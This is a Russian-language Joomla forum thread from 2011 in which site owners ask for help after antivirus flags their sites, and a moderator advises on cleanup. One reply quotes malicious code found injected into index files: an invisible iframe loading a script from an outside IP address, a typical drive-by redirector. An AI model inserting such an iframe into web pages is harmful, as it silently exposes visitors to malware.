Поймал троян помогите разобраться.

Тема в разделе "Вопросы безопасности", создана пользователем squier, 06.04.2011.

  1. Offline

    squier Недавно здесь

    Регистрация:
    29.03.2011
    Сообщения:
    2
    Симпатии:
    0
    Пол:
    Мужской
    Создал сайт на бесплатном хостинге,недельку учился на нём.
    Сегодня при заходе на сайт AVAST выдал:JS:REDIRECTOR-GA(tr)
    похоже троян но я не понимаю изза чего и что сделать чтобы избавится от заражения(могу всё снести сайт ценности не представляет но новый бесплатный хостинг лень регистрировать).
     
  2.  
  3. OlegK
    Offline

    OlegK Russian Joomla! Team Команда форума ⇒ Профи ⇐

    Регистрация:
    17.01.2011
    Сообщения:
    7 813
    Симпатии:
    771
    Пол:
    Мужской
    1.Смотреть конфиг.пхп,сравнить с архива Joomla 2.Сайт можно удалить,а хостинг остаётся.Просто файлы удаляешь.
     
  4. Offline

    squier Недавно здесь

    Регистрация:
    29.03.2011
    Сообщения:
    2
    Симпатии:
    0
    Пол:
    Мужской
    Так,всё joomla стёр закатал новую но теперь вылазиет вот такая штука вместо установки.
    [​IMG]
     
  5. OlegK
    Offline

    OlegK Russian Joomla! Team Команда форума ⇒ Профи ⇐

    Регистрация:
    17.01.2011
    Сообщения:
    7 813
    Симпатии:
    771
    Пол:
    Мужской
    squier,
    стучи к хостеру.Че то удалил лишнее с Joomla.Обычно такая ошибка при отсутствии в
    Код (PHP):
    1. <IfModule dir_module>
    2. DirectoryIndex index.php  index.html
    3. </IfModule>

    директивы "index.php".
    Хотя -наверно не в ту папку залил Joomla.
     
  6. Offline

    antfom Недавно здесь

    Регистрация:
    12.01.2010
    Сообщения:
    2
    Симпатии:
    0
    Пол:
    Мужской
    Что за скрипт влез во все системные файлы index.php, index.html и т.п., может кто знает?
    Код (PHP):
    1. <iframe height="100" width="100" src="http://91.220.35.199/0403.php" style="top:0px; position:relative; border:0px; right:-600px; opacity:0; -moz-opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>
     
  7. OlegK
    Offline

    OlegK Russian Joomla! Team Команда форума ⇒ Профи ⇐

    Регистрация:
    17.01.2011
    Сообщения:
    7 813
    Симпатии:
    771
    Пол:
    Мужской
    Меняй пароли на фтп.Ну и конечно чисти от вредоносного кода.
     

Поделиться этой страницей

Загрузка...